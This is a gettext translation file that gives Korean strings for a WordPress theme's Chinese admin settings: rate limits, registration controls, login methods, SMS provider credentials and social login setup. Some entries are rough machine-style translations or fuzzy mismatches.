#: Modules/Settings/Normal.php:771
msgid ""
"上面时间段内用户操作的频次超过多少次以后触发限制。比如：上面时间段填的是10"
"秒，这里操作频次填的是5次，则代表，用户10秒内操作某个数据超过5次以后触发限"
"制。"
msgstr ""
"위의 기간 동안 트리거 후 사용자 작업 빈도가 제한을 초과하는 횟수입니다. 예를 "
"들어, 위의 기간은 10 초로 채워져 있고 여기에서는 작동 빈도가 5 번 채워져 있는"
"데, 이는 사용자가 제한을 트리거하기 위해 10 초 내에 특정 데이터를 5 번 이상 "
"작동하는 것을 의미합니다."

#: Modules/Settings/Normal.php:778
msgid "加入小黑屋的时间"
msgstr "작은 검은 집에 합류 할 시간"

#: Modules/Settings/Normal.php:779
msgid ""
"通过上面的机制触发限制，这个限制是将此用户加入小黑屋。请在这里填写加入小黑屋"
"的时间，单位是天。如果只想将他加入小黑屋1个小时，那么就是1/24=0.042，直接填写"
"0.042即可。"
msgstr ""
"이 제한은 위의 메커니즘에 의해 트리거되며이 제한은이 사용자를 작은 검은 집에 "
"추가하는 것입니다. 여기에 작은 검은 집에 가입 할 시간을 입력하세요. 단위는 일"
"입니다. 그를 작은 검은 방에 1 시간 동안 만 추가하려면 1 / 24 = 0.042, 0.042 "
"만 입력하면됩니다."

#: Modules/Settings/Normal.php:787
#, php-format
msgid ""
"%s限制3小时内提交数据总量（需要开启了redis 或者 memcached）%s%s此功能用来防止"
"某些人通过接口批量对数据进行操作，比如批量发送垃圾信息，批量上传，批量硬解密"
"码等操作%s%s如果您不知道下面的设置项是什么意思，请保持默认即可。（管理员不受"
"此限制）%s"
msgstr ""
"%s 제한 작업 빈도  %s  %s이 기능은 일부 사용자가 다음을 모르는 경우 스팸 일"
"괄 전송, 일괄 다운로드, 일괄 하드 복호화 및 기타 작업  %s  %s과 같은 인터페이"
"스를 통해 일괄 데이터 작업을 수행하는 것을 방지하는 데 사용됩니다. 설정 항목"
"이 의미하는 바는 기본  %s를 유지하십시오."

#: Modules/Settings/Normal.php:788
msgid "3小时内发布文章、评论、快讯、帖子等总量"
msgstr "3시간 이내에 게시된 기사, 댓글, 알림, 게시물 등의 총 수"

#: Modules/Settings/Normal.php:789
msgid "直接填写数字，比如20"
msgstr "숫자를 직접 입력하십시오 (예 :  %s 위안)."

#: Modules/Settings/Normal.php:796
msgid "3小时内上传文件的总量"
msgstr "3시간 동안 업로드된 총 파일 수"

#: Modules/Settings/Normal.php:797
msgid ""
"文件包含图片、视频、或者其他wp允许上传的文件类型，3小时内超过此数量，将不再允"
"许上传。请直接填写数字，比如20"
msgstr ""
"파일에는 wp에서 업로드할 수 있는 사진, 동영상 또는 기타 파일 형식이 포함되어 "
"있습니다. 3시간 이내에 이 수를 초과하면 업로드가 더 이상 허용되지 않습니다. "
"20과 같이 숫자를 직접 입력하세요."

#: Modules/Settings/Normal.php:804
msgid "同一个IP，1小时内限制注册多少次"
msgstr "동일한 IP, 1시간 이내 등록 수 제한"

#: Modules/Settings/Normal.php:805
msgid "超过次数将不再允许注册，此功能可防止有人使用临时邮箱批量注册的现象"
msgstr ""
"횟수를 초과하면 더 이상 등록이 불가하며, 임시우편함을 이용하여 일괄등록하는 "
"것을 방지할 수 있습니다."

#: Modules/Settings/Normal.php:813
#, fuzzy, php-format
msgid ""
"%s消息表自动清理%s%s消息表用来记录用户的消息数据，包括积分和%s记录，用户比较"
"多的时候数据量可能会很大，如果消息表（zrz_message）数据比较庞大，可根据自身情"
"况设置清理多少天前的数据。%s"
msgstr ""
"%s메시지 테이블 자동 정리%s% 메시지 테이블은 포인트 및 잔액 기록을 포함하여 "
"사용자의 메시지 데이터를 기록하는 데 사용됩니다. 사용자가 많을 경우 데이터 양"
"이 매우 커질 수 있습니다. 메시지 테이블(zrz_message )는 정리할 여기에 열린 서"
"버 구성 10 만 명 이상 또는 100 만 이상에 따르면, 예를 들어, 비교적 큰 데이터"
"가 있습니다. %s"

#: Modules/Settings/Normal.php:814
msgid "清理多少天之前的数据"
msgstr "몇 일 동안 오래된 데이터를 정리해야합니까?"

#: Modules/Settings/Normal.php:815
msgid ""
"请直接填写天数数字。设置好之后，您需要点击主题激活按钮，才会执行。之后每次激"
"活都会检查过期数据，并清理。如果不需要清理，请填0。"
msgstr ""
"일수를 직접 기입해 주십시오. 설정 후 테마 활성화 버튼을 눌러 실행해야 합니"
"다. 활성화할 때마다 만료된 데이터를 확인하고 정리합니다. 정리할 필요가 없다"
"면 0으로 채워주세요."

#: Modules/Settings/Normal.php:844
msgid "登录与注册"
msgstr "로그인 및 등록"

#: Modules/Settings/Normal.php:853
msgid "是否开启注册"
msgstr "등록 개시 여부"

#: Modules/Settings/Normal.php:854
msgid "建议将wp设置->常规中的<任何人都可以注册>的勾选项去掉，防止机器人注册。"
msgstr ""
"로봇 등록을 방지하기 위해 wp 설정-> 일반에서 <누구나 등록 가능> 체크 박스를 "
"제거하는 것이 좋습니다."

#: Modules/Settings/Normal.php:865
#, fuzzy
#| msgid "社交登录"
msgid "是否只开启社交登录"
msgstr "소셜 로그인"

#: Modules/Settings/Normal.php:866
#, fuzzy
msgid "开启后，用户只能通过社交登录，不能通过用户名密码登录。"
msgstr ""
"이 기능을 켜면 사용자는 사용자 아이디와 비밀번호가 아닌 소셜을 통해서만 로그"
"인할 수 있습니다."

#: Modules/Settings/Normal.php:877
msgid "登陆时效"
msgstr "로그인 시간 제한"

#: Modules/Settings/Normal.php:878
msgid ""
"用户登陆之后将会有一段时间保持登陆状态，这里可以设置登陆状态的时效，出于安全"
"考虑，一般不超过7天。"
msgstr ""
"사용자는 로그인 후 일정 시간 동안 로그인 상태를 유지합니다. 여기에서 로그인 "
"시간 제한을 설정할 수 있습니다. 보안상의 이유로 일반적으로 7 일을 초과하지 않"
"습니다."

#: Modules/Settings/Normal.php:885
msgid "是否开启cookie兼容模式"
msgstr "쿠키 호환성 모드 활성화 여부"

#: Modules/Settings/Normal.php:886
msgid ""
"不知道干啥用的，请关闭，不用开启。如果您使用了一些插件，涉及到用户登录的情"
"况，请开启此项。"
msgstr ""
"사용자 로그인과 관련된 일부 플러그인을 사용하는 경우이 기능을 활성화하십시오."

#: Modules/Settings/Normal.php:897
msgid "隐私政策网址"
msgstr "개인 정보 보호 정책 URL"

#: Modules/Settings/Normal.php:898 Modules/Settings/Normal.php:906
msgid "如果设置将会显示在登录框底部，请直接填写网址"
msgstr "로그인 상자 하단에 설정이 표시되면 URL을 직접 입력하십시오."

#: Modules/Settings/Normal.php:905
msgid "用户协议网址"
msgstr "사용자 계약 URL"

#: Modules/Settings/Normal.php:914
msgid "请选择身份验证形式"
msgstr "인증 형식을 선택하세요"

#: Modules/Settings/Normal.php:919
msgid "手机验证"
msgstr "휴대폰 인증"

#: Modules/Settings/Normal.php:920
msgid "邮箱验证"
msgstr "이메일 인증"

#: Modules/Settings/Normal.php:921
msgid "手机和邮箱均可验证"
msgstr "전화와 이메일 모두 확인 가능"

#: Modules/Settings/Normal.php:922
msgid "主题自带图形验证"
msgstr "테마는 그래픽 확인과 함께 제공됩니다."

#: Modules/Settings/Normal.php:923
msgid "Luosimao人机验证"
msgstr "Luosimao 인간-기계 검증"

#: Modules/Settings/Normal.php:926
#, php-format
msgid ""
"用于注册，找回密码等操作，四种身份验证形式只能选择其中一种。\n"
"            %s如果选择包含邮箱验证，请确认服务器支持邮件发送功能，如果服务器"
"不支持邮件发送，推荐安装%s插件去支持。\n"
"            %s如果选择了包含手机验证，请按照下面的提示进行短信设置。\n"
"            %s如果选择Luosimao验证，请前往%s申请，然后将%s和%s填入下面设置项"
"中。\n"
"            "
msgstr ""
"등록, 비밀번호 검색 등의 경우 네 가지 인증 형식 중 하나만 선택할 수 있습니"
"다.\n"
"             %s 이메일 확인을 포함하도록 선택한 경우 서버가 이메일 전송을 지"
"원하는지 확인하십시오. 서버가 이메일 전송을 지원하지 않는 경우 지원하도록  "
"%s 플러그인을 설치하는 것이 좋습니다.\n"
"             %s 휴대폰 확인을 포함하도록 선택한 경우 SMS 설정을 위해 아래 메"
"시지를 따르십시오.\n"
"             %s Luosimao 확인을 선택한 경우  %s로 이동하여 적용한 후 다음 설"
"정에서  %s 및  %s를 입력하십시오."

#: Modules/Settings/Normal.php:935
msgid "luosimao人机验证设置"
msgstr "luosimao 인간-머신 검증 설정"

#: Modules/Settings/Normal.php:936
msgid "Site key"
msgstr "사이트 키"

#: Modules/Settings/Normal.php:937 Modules/Settings/Normal.php:945
msgid "luosimao后台->人机验证->操作->设置。"
msgstr "luosimao 배경-> 인간-기계 확인-> 작업-> 설정."

#: Modules/Settings/Normal.php:944
msgid "Api key"
msgstr "API 키"

#: Modules/Settings/Normal.php:954
#, fuzzy
#| msgid "luosimao人机验证设置"
msgid "腾讯云人机验证设置"
msgstr "luosimao 인간-머신 검증 설정"

#: Modules/Settings/Normal.php:955
#, fuzzy
msgid "腾讯云SecretId"
msgstr "텐센트 클라우드 시크릿아이디"

#: Modules/Settings/Normal.php:956
#, fuzzy
msgid "腾讯云右上角用户名下拉菜单->访问管理->访问密钥->API密钥管理->SecretId"
msgstr ""
"텐센트 클라우드 우측 상단 사용자 이름 드롭다운 메뉴 -> 액세스 관리 -> 액세스 "
"키 -> API 키 관리 -> 비밀 아이디"

#: Modules/Settings/Normal.php:963
#, fuzzy
#| msgid "Secret Key"
msgid "腾讯云SecretKey"
msgstr "비밀 키"

#: Modules/Settings/Normal.php:964
#, fuzzy
msgid "腾讯云右上角用户名下拉菜单->访问管理->访问密钥->API密钥管理->SecretKey"
msgstr ""
"텐센트 클라우드 우측 상단 사용자 이름 드롭다운 메뉴 -> 액세스 관리 -> 액세스 "
"키 -> API 키 관리 -> 비밀 키"

#: Modules/Settings/Normal.php:971
#, fuzzy
msgid "CaptchaAppId"
msgstr "캡차앱아이디"

#: Modules/Settings/Normal.php:972 Modules/Settings/Normal.php:980
#, fuzzy
msgid "腾讯云控制台->人机验证->图形验证->验证管理。"
msgstr "텐센트 클라우드 콘솔 -> 인적 검증 -> 그래픽 검증 -> 검증 관리."

#: Modules/Settings/Normal.php:979
#, fuzzy
#| msgid "AppSecret"
msgid "AppSecretKey"
msgstr "AppSecret"

#: Modules/Settings/Normal.php:990
msgid "请选择手机短信服务商"
msgstr "모바일 SMS 서비스 제공 업체를 선택하세요."

#: Modules/Settings/Normal.php:995
msgid "阿里云"
msgstr "알리 클라우드"

#: Modules/Settings/Normal.php:996
msgid "云片"
msgstr "구름 조각"

#: Modules/Settings/Normal.php:997
msgid "聚合"
msgstr "중합"

#: Modules/Settings/Normal.php:998
msgid "中正云"
msgstr "중정 클라우드"

#: Modules/Settings/Normal.php:999
msgid "腾讯云"
msgstr "Tencent Cloud SMS 설정"

#: Modules/Settings/Normal.php:1000
msgid "赛邮云"
msgstr "사이 유윤"

#: Modules/Settings/Normal.php:1001
msgid "其他"
msgstr "다른"

#: Modules/Settings/Normal.php:1007
msgid "阿里云短信设置"
msgstr "Alibaba Cloud SMS 설정"

#: Modules/Settings/Normal.php:1008
msgid "AccessKey Id"
msgstr "AccessKey ID"

#: Modules/Settings/Normal.php:1009
msgid "阿里云控制台->鼠标放到右上角头像上->accessKeys->AccessKey ID。"
msgstr ""
"Alibaba Cloud 콘솔-> 오른쪽 상단의 아바타에 마우스-> accessKeys-> AccessKey "
"ID."

#: Modules/Settings/Normal.php:1016
msgid "Access Key Secret"
msgstr "액세스 키 비밀"

#: Modules/Settings/Normal.php:1017
msgid "阿里云控制台->鼠标放到右上角头像上->accessKeys->Access Key Secret。"
msgstr ""
"Alibaba Cloud 콘솔-> 오른쪽 상단의 아바타에서 마우스-> accessKeys-> Access "
"Key Secret."

#: Modules/Settings/Normal.php:1027
msgid "签名名称"
msgstr "서명 이름"

#: Modules/Settings/Normal.php:1028
msgid "阿里云控制台->短信服务控制台->国内消息->签名管理->签名名称。"
msgstr ""
"Alibaba Cloud Console-> SMS 서비스 콘솔-> 국내 메시지-> 서명 관리-> 서명 이"
"름."

#: Modules/Settings/Normal.php:1035
msgid "模板CODE"
msgstr "템플릿 코드"

#: Modules/Settings/Normal.php:1036
msgid "阿里云控制台->短信服务控制台->国内消息->模板管理->模板CODE。"
msgstr ""
"Alibaba Cloud Console-> SMS 서비스 콘솔-> 국내 메시지-> 템플릿 관리-> 템플릿 "
"CODE."

#: Modules/Settings/Normal.php:1045
msgid "云片短信设置"
msgstr "Yunpian SMS 설정"

#: Modules/Settings/Normal.php:1046
msgid "Apikey"
msgstr "Apikey"

#: Modules/Settings/Normal.php:1047
msgid "云片管理控制台->账户设置->子账户管理。"
msgstr "Yunpian 관리 콘솔-> 계정 설정-> 하위 계정 관리."

#: Modules/Settings/Normal.php:1057
msgid "模板内容"
msgstr "템플릿 내용"

#: Modules/Settings/Normal.php:1058
#, fuzzy, php-format
msgid ""
"云片管理控制台->国内短信->签名模板报备->已审核的【模板内容】%s\n"
"            比如：%s"
msgstr ""
"Yunpian 관리 콘솔-> 국내 SMS-> 서명 템플릿 보고서-> [템플릿 콘텐츠]  %s 검"
"토\n"
"            예를 들어"

#: Modules/Settings/Normal.php:1068
msgid "腾讯云短信设置"
msgstr "Tencent Cloud SMS 설정"

#: Modules/Settings/Normal.php:1069
msgid "短信模板ID"
msgstr "SMS 템플릿 ID"

#: Modules/Settings/Normal.php:1073
msgid ""
"模板 ID，必须填写已审核通过的模板 ID。模板ID可登录 腾讯短信控制台->国内短信->"
"正文模板->ID 中查看"
msgstr ""
"템플릿 ID, 승인 된 템플릿 ID를 입력해야합니다. 템플릿 ID는 SMS 콘솔에 로그인"
"하여 볼 수 있습니다."

#: Modules/Settings/Normal.php:1077
msgid "短信签名内容"
msgstr "SMS 서명 내용"

#: Modules/Settings/Normal.php:1080
msgid ""
"短信签名内容，签名信息可登录 腾讯短信控制台->国内短信->签名管理->内容 中查"
"看。"
msgstr "SMS 서명 내용, 서명 정보는 SMS 콘솔에서 볼 수 있습니다."

#: Modules/Settings/Normal.php:1086
msgid "短信SDK AppID"
msgstr "SMS SDK AppID"

#: Modules/Settings/Normal.php:1090
msgid "短信SdkAppid在 短信控制台 应用管理->应用列表，示例如1400006666。"
msgstr ""
"SMS SdkAppid는 애플리케이션이 SMS 콘솔에 추가 된 후 생성 된 실제 SdkAppid입니"
"다 (예 : 1400006666)."

#: Modules/Settings/Normal.php:1094
msgid "短信App Key"
msgstr "앱 키"

#: Modules/Settings/Normal.php:1101
msgid ""
"短信SdkAppid在 短信控制台 应用管理->应用列表，示例如"
"e0410cfd6568dc827c2c5ac7b7c38851。"
msgstr ""
"SMS SdkAppid는 애플리케이션이 SMS 콘솔에 추가 된 후 생성 된 실제 SdkAppid입니"
"다 (예 : 1400006666)."

#: Modules/Settings/Normal.php:1107
msgid "通用短信接口"
msgstr "범용 SMS 인터페이스"

#: Modules/Settings/Normal.php:1108 Modules/Settings/Normal.php:1477
#: Modules/Settings/Normal.php:2415
msgid "接口网址"
msgstr "인터페이스 URL"

#: Modules/Settings/Normal.php:1112
#, php-format
msgid ""
"比如：http://xxx.com/sms?username=%s&password=%s&phone=%s&message=【柒比贰】"
"您的验证码是%s。如非本人操作，请忽略本短信"
msgstr ""
"예 : http://xxx.com/sms?username=%s&password=%s&phone=%s&message=[Jubi II] 인"
"증 코드는 %s입니다. 작동하지 않는 경우이 메시지를 무시하십시오."

#: Modules/Settings/Normal.php:1113
msgid ""
"其中红色部分是你要根据不同平台自己设置的，可能参数不止这两个。绿色部分是程序"
"会自动添加的，请保持不要修改。"
msgstr ""
"빨간색 부분은 다른 플랫폼에 따라 사용자가 설정하며이 두 매개 변수보다 많을 "
"수 있습니다. 녹색 부분은 프로그램에 의해 자동으로 추가되므로 변경하지 마십시"
"오."

#: Modules/Settings/Normal.php:1117
msgid "短信内容是否需要urldecode,"
msgstr "문자 메시지 콘텐츠가 urldecode여야 하나요?"

#: Modules/Settings/Normal.php:1122 Modules/Settings/Normal.php:1926
#: Modules/Settings/Normal.php:1939
msgid "不使用"
msgstr "사용하지 마세요"

#: Modules/Settings/Normal.php:1125
msgid "不同平台要求不同,请查看您使用平台的接口文档中是否要求短信内容urlencode"
msgstr ""
"요구 사항은 플랫폼마다 다르므로 사용 중인 플랫폼의 인터페이스 설명서를 확인하"
"여 SMS 콘텐츠 URL 코드가 필요한지 확인하세요."

#: Modules/Settings/Normal.php:1129
msgid "成功发送短信，返回代码"
msgstr "SMS 전송 성공, 반환 코드"

#: Modules/Settings/Normal.php:1133
msgid ""
"短信发送成功或失败对方服务器通常都会返回一些信息，请直接填写发送成功之后返回"
"有别于失败的特殊字符串。比如发送成功后返回的信息中包括success这个字符，发送失"
"败不会有这个字符，那么请在这里填写success"
msgstr ""
"상대방의 서버는 보통 SMS 전송 성공 또는 실패시 일부 정보를 반환하므로 전송 성"
"공 후 실패와 다른 특수 문자열을 입력하십시오. 예를 들어, 전송 성공 후 반환 "
"된 메시지에는 \"성공\"문자가 포함됩니다.이 문자는 실패한 전송에 포함되지 않으"
"므로 여기에 \"성공\"을 입력하십시오."

#: Modules/Settings/Normal.php:1156
msgid "赛邮短信设置"
msgstr "SMS 설정 집계"

#: Modules/Settings/Normal.php:1157
msgid "APPID应用ID"
msgstr "APPID 애플리케이션 ID"

#: Modules/Settings/Normal.php:1158 Modules/Settings/Normal.php:1166
msgid "登录后创建网址：https://www.mysubmail.com/chs/sms/apps"
msgstr "로그인 후 URL 생성 : https://www.mysubmail.com/chs/sms/apps"

#: Modules/Settings/Normal.php:1165
msgid "APPKEY应用密匙"
msgstr "APPKEY 애플리케이션 키"

#: Modules/Settings/Normal.php:1173
msgid "模板标记"
msgstr "템플릿 태그"

#: Modules/Settings/Normal.php:1174
msgid "登录后创建网址：https://www.mysubmail.com/chs/sms/templates"
msgstr "로그인 후 URL 생성 : https://www.mysubmail.com/chs/sms/templates"

#: Modules/Settings/Normal.php:1181
msgid "Sign Type验证模式"
msgstr "서명 유형 확인 모드"

#: Modules/Settings/Normal.php:1182
msgid ""
"1.md5=md5 签名验证模式[推荐]<br>2.sha1=sha1 签名验证模式[推荐]<br>3.normal=密"
"匙明文验证"
msgstr ""
"1.md5 = md5 서명 확인 모드 [권장]<br> 2.sha1 = sha1 서명 확인 모드 [권"
"장]<br> 3.normal = key 일반 텍스트 확인"

#: Modules/Settings/Normal.php:1191
msgid "中正云短信设置"
msgstr "Zhongzheng 클라우드 SMS 설정"

#: Modules/Settings/Normal.php:1192
msgid "中正云账户"
msgstr "Zhongzheng 클라우드 계정"

#: Modules/Settings/Normal.php:1199
msgid "中正云密码"
msgstr "Zhongzheng 클라우드 비밀번호"

#: Modules/Settings/Normal.php:1209
msgid "中正云模板"
msgstr "Zhongzheng 클라우드 템플릿"

#: Modules/Settings/Normal.php:1216
#, fuzzy, php-format
msgid "比如：%s"
msgstr "예 :  %s 등"

#: Modules/Settings/Normal.php:1222
msgid "聚合短信设置"
msgstr "SMS 설정 집계"

#: Modules/Settings/Normal.php:1223
msgid "模板ID"
msgstr "템플릿 ID"

#: Modules/Settings/Normal.php:1224
msgid "我的聚合->短信API服务->短信模板->模板ID。"
msgstr "내 집계-> SMS API 서비스-> SMS 템플릿-> 템플릿 ID."

#: Modules/Settings/Normal.php:1231
msgid "Appkey"
msgstr "Appkey"

#: Modules/Settings/Normal.php:1232
msgid "数据中心->我的数据->AppKey。"
msgstr "데이터 센터-> 내 데이터-> AppKey."

#: Modules/Settings/Normal.php:1243
msgid "社交登录强制绑定手机、邮箱或用户名"
msgstr ""
"휴대폰, 이메일 또는 사용자 이름을 바인딩하려면 소셜 로그인이 필수입니다."

#: Modules/Settings/Normal.php:1244
msgid ""
"第三方社交注册并未要求用户填写手机号码或邮箱，如果需要强制绑定手机或邮箱，请"
"开启，绑定的是手机、邮箱还是用户名，与上面选择的身份验证形式一致。"
msgstr ""
"제 3 자 소셜 등록에서는 사용자가 휴대폰 번호 나 이메일 주소를 입력 할 필요가 "
"없습니다. 휴대폰 또는 이메일 주소를 강제로 바인딩해야하는 경우 활성화하십시"
"오. 휴대폰, 이메일 주소 또는 사용자 이름에 바인딩되는지 여부는 위에서 선택한 "
"인증 양식과 일치합니다."

#: Modules/Settings/Normal.php:1248
msgid "不要求绑定"
msgstr "바인딩이 필요하지 않습니다."

#: Modules/Settings/Normal.php:1249
msgid "强制绑定"
msgstr "필수 바인딩"

#: Modules/Settings/Normal.php:1255
msgid "新注册用户消息提示"
msgstr "새로 등록 된 사용자 메시지 프롬프트"

#: Modules/Settings/Normal.php:1256
msgid "新用户注册成功以后，会在消息中心有一条新的消息，请在此设置新消息内容"
msgstr ""
"새 사용자가 성공적으로 등록되면 메시지 센터에 새 메시지가 표시됩니다. 여기에"
"서 새 메시지 내용을 설정하십시오."

#: Modules/Settings/Normal.php:1263
msgid "邮箱注册白名单"
msgstr "이메일 등록 화이트리스트"

#: Modules/Settings/Normal.php:1264
#, php-format
msgid ""
"如果此白名单不为空，用户只允许白名单中的邮箱注册。每个邮箱占一行，例如%s"
msgstr ""
"이 화이트리스트가 비어 있지 않으면 사용자는 화이트리스트에 사서함만 등록할 "
"수 있습니다. 각 사서함은 한 줄을 차지합니다(예: %s)."

#: Modules/Settings/Normal.php:1270
msgid "邮箱注册黑名单"
msgstr "이메일 등록 블랙리스트"

#: Modules/Settings/Normal.php:1271
#, php-format
msgid ""
"如果此黑名单不为空，黑名单中的邮箱地址将不允许注册。每个邮箱占一行，例如%s"
msgstr ""
"이 블랙리스트가 비어 있지 않으면 블랙리스트에 있는 이메일 주소는 등록이 허용"
"되지 않습니다. 각 사서함은 한 줄을 차지합니다(예: %s)."

#: Modules/Settings/Normal.php:1279
msgid "登录窗口只显示微信登录？"
msgstr "로그인 창에 위챗 로그인만 표시되나요?"

#: Modules/Settings/Normal.php:1280
msgid "微信登录设置"
msgstr "WeChat 로그인 설정"

#: Modules/Settings/Normal.php:1280
#, fuzzy
#| msgid "微信登录设置"
msgid "优先微信登录"
msgstr "WeChat 로그인 설정"

#: Modules/Settings/Normal.php:1287
msgid ""
"开启后，登录窗口优先显示微信登陆二维码（只对微信官方有效，彩虹聚合登录不支持"
"直接显示二维码）"
msgstr ""
"로그인 창이 열리면 위챗 로그인의 QR코드가 우선적으로 표시됩니다(위챗 공식에서"
"만 유효하며, 레인보우 애그리게이터 로그인은 QR코드 직접 표시를 지원하지 않"
"음)."

#: Modules/Settings/Normal.php:1293
msgid "是否启用微信PC扫码登录（微信开放平台PC扫码登陆）"
msgstr "WeChat PC 스캔 코드 로그인 활성화 여부"

#: Modules/Settings/Normal.php:1294
msgid "微信pc端登录设置"
msgstr "WeChat PC 로그인 설정"

#: Modules/Settings/Normal.php:1301
msgid ""
"请注意，如果您开通了微信开放平台，并且添加了网站应用，此处开启才有效，否则请"
"保持关闭"
msgstr ""
"WeChat 개방형 플랫폼을 열고 웹 사이트 응용 프로그램을 추가한 경우 여기에서 "
"열 때만 유효하며 그렇지 않으면 닫혀 두십시오."

#: Modules/Settings/Normal.php:1306 Modules/Settings/Normal.php:1344
#: Modules/Settings/Normal.php:1484
msgid "AppID"
msgstr "AppID"

#: Modules/Settings/Normal.php:1308
msgid "微信开放平台网站应用的AppID"
msgstr "WeChat Open Platform 웹 사이트 애플리케이션의 AppID"

#: Modules/Settings/Normal.php:1314 Modules/Settings/Normal.php:1352
msgid "AppSecret"
msgstr "AppSecret"

#: Modules/Settings/Normal.php:1316
msgid "微信开放平台网站应用的AppSecret"
msgstr "WeChat Open Platform 웹 사이트 애플리케이션의 AppSecret"

#: Modules/Settings/Normal.php:1324
#, php-format
msgid "微信扫码登录申请地址：%s；回调地址请填写：%s"
msgstr ""
"WeChat 스캔 코드 로그인 응용 프로그램 주소 :  %s; 콜백 주소, 입력하십시오 :  "
"%s"

#: Modules/Settings/Normal.php:1332
msgid "是否启用微信公众号内授权登录"
msgstr "WeChat 공식 계정에서 인증 된 로그인 활성화 여부"

#: Modules/Settings/Normal.php:1333
msgid "微信公众号登录设置"
msgstr "WeChat 공식 계정 로그인 설정"

#: Modules/Settings/Normal.php:1346
msgid "微信公众平台->基本配置->开发者ID(AppID)"
msgstr "WeChat 공용 플랫폼-> 기본 구성-> 개발자 ID (AppID)"

#: Modules/Settings/Normal.php:1357
msgid "微信公众平台->基本配置->开发者密码"
msgstr "WeChat 공용 플랫폼-> 기본 구성-> 개발자 비밀번호"

#: Modules/Settings/Normal.php:1360
msgid ""
"公众号授权登录，请开通微信服务号（必须认证了的服务号），微信订阅号无法使用"
msgstr ""
"공식 계정은 로그인 권한이 있습니다. WeChat 서비스 계정을여십시오. WeChat 구"
"독 계정은 사용할 수 없습니다."

#: Modules/Settings/Normal.php:1365
msgid "是否开启PC端扫码关注公众号后自动登录？"
msgstr ""
"PC 측에서 코드를 스캔하고 공식 계정을 따라 자동으로 로그인하도록할지 여부는?"

#: Modules/Settings/Normal.php:1366
msgid "扫码关注自动登录"
msgstr "자동 로그인을 따르려면 코드 스캔"

#: Modules/Settings/Normal.php:1373
#, php-format
msgid ""
"开启此项，用户点击微信登录会直接显示公众号二维码，用户扫码关注以后自动登录。"
"开启条件：1、关闭上面“微信PC扫码登录”;2、开通了微信服务号并在主题%s常规设置->"
"微信设置%s里面填写了相关设置项。"
msgstr ""
"이 옵션이 활성화되면 사용자는 WeChat 로그인을 클릭 한 후 공식 계정의 QR 코드"
"를 직접 표시하고 사용자는 코드를 스캔하여 따라 간 후 자동으로 로그인합니다. "
"활성화 조건 : WeChat 서비스 계정이 열리고 관련 설정이  %s 일반 설정-> WeChat "
"설정  %s 항목에 채워져 있습니다."

#: Modules/Settings/Normal.php:1378
msgid "关注公众号登录后微信提示文字"
msgstr "공식 계정에 로그인 한 후 WeChat 프롬프트 텍스트를 따르십시오."

#: Modules/Settings/Normal.php:1381
msgid "用户通过关注公众号登录网站后，微信内可以返回一段文字，此处为文字内容"
msgstr ""
"사용자가 공식 계정을 따라 웹 사이트에 로그인하면 WeChat에서 텍스트 단락을 반"
"환할 수 있습니다. 여기에 텍스트 내용이 있습니다."

#: Modules/Settings/Normal.php:1388
msgid "是否开启微信端用户进入网站提示授权（已授权自动登录）？"
msgstr ""
"WeChat 사용자가 웹 사이트에 들어가 인증을 요청하도록할지 여부 (자동 로그인이 "
"인증 됨)?"

#: Modules/Settings/Normal.php:1389
msgid "微信端自动登录"
msgstr "WeChat에서 자동 로그인"

#: Modules/Settings/Normal.php:1390
msgid "务必设置了上面<微信公众号登录设置>，才会生效！否则请关闭"
msgstr ""
"위의 <WeChat 공식 계정 로그인 설정>을 설정해야 적용됩니다! 그렇지 않으면 닫으"
"십시오"

#: Modules/Settings/Normal.php:1403
msgid "是否启用QQ授权登录"
msgstr "QQ 인증 로그인 활성화 여부"

#: Modules/Settings/Normal.php:1404
msgid "QQ登录设置"
msgstr "QQ 로그인 설정"

#: Modules/Settings/Normal.php:1415
msgid "APP ID"
msgstr "앱 ID"

#: Modules/Settings/Normal.php:1422
msgid "APP Key"
msgstr "APP 키"

#: Modules/Settings/Normal.php:1429
#, php-format
msgid "QQ登录申请地址：%s；回调地址请填写：%s"
msgstr "QQ 로그인 응용 프로그램 주소 :  %s. 콜백 주소를 입력하십시오 :  %s"

#: Modules/Settings/Normal.php:1434
msgid "是否启用微博授权登录"
msgstr "Weibo 인증 로그인 활성화 여부"

#: Modules/Settings/Normal.php:1435
msgid "微博设置"
msgstr "Weibo 설정"

#: Modules/Settings/Normal.php:1446
msgid "App Key"
msgstr "앱 키"

#: Modules/Settings/Normal.php:1453
msgid "App Secret"
msgstr "앱 비밀"

#: Modules/Settings/Normal.php:1460
#, php-format
msgid "微博登录申请地址：%s；回调地址和取消回调地址都填写：%s"
msgstr ""
"Weibo 로그인 응용 프로그램 주소 :  %s. 콜백 주소와 취소 콜백 주소가 모두 채워"
"져 있습니다.  %s"

#: Modules/Settings/Normal.php:1465
#, fuzzy
#| msgid "是否启用微博授权登录"
msgid "是否启用彩虹聚合登录"
msgstr "Weibo 인증 로그인 활성화 여부"

#: Modules/Settings/Normal.php:1466
msgid "彩虹聚合登录"
msgstr "레인보우 신디케이션 로그인"

#: Modules/Settings/Normal.php:1494
msgid "AppKey"
msgstr "앱키"

#: Modules/Settings/Normal.php:1501
msgid "启用的登录方式"
msgstr "활성화된 로그인"

#: Modules/Settings/Normal.php:1516
msgid "microsoft"
msgstr "마이크로 소프트"

#: Modules/Settings/Normal.php:1521
msgid ""
"彩虹聚合登录为第三方登录平台，一般是由个人自己搭建。或者使用现成的第三方，不"
"过第三方一旦停止服务，您的用户将无法再次登录您的网站，所以请根据自己的需求选"
"择。具体搭建和使用方法，请自行百度。"
msgstr ""
"레인보우 신디케이션 로그인은 일반적으로 개인이 직접 구축하는 타사 로그인 플랫"
"폼입니다. 또는 기성 타사를 사용할 수도 있지만 타사 서비스를 중단하면 사용자"
"가 사이트에 다시 로그인할 수 없으므로 필요에 따라 선택하시기 바랍니다. 설정 "
"및 사용 방법에 대한 자세한 내용은 직접 조사해 보세요."

#: Modules/Settings/Normal.php:1535
msgid "用户默认头像"
msgstr "사용자 기본 아바타"

#: Modules/Settings/Normal.php:1556
msgid "用户默认封面"
msgstr "사용자 기본 커버"

#: Modules/Settings/Normal.php:1577
msgid "加密用户页面网址"
msgstr "암호화 된 사용자 페이지 URL"

#: Modules/Settings/Normal.php:1581
#, php-format
msgid ""
"加密前：%s%s加密后：%s%s设置完成以后请保存一下固定链接，前端用户需要重新登录"
msgstr ""
"암호화 전 :  %s  %s 암호화 후 :  %s  %s 설정 후 고정 링크를 저장하십시오. 프"
"런트 엔드 사용자는 다시 로그인해야합니다."

#: Modules/Settings/Normal.php:1583
msgid "加密"
msgstr "암호화"

#: Modules/Settings/Normal.php:1584
msgid "不加密"
msgstr "암호화되지 않음"

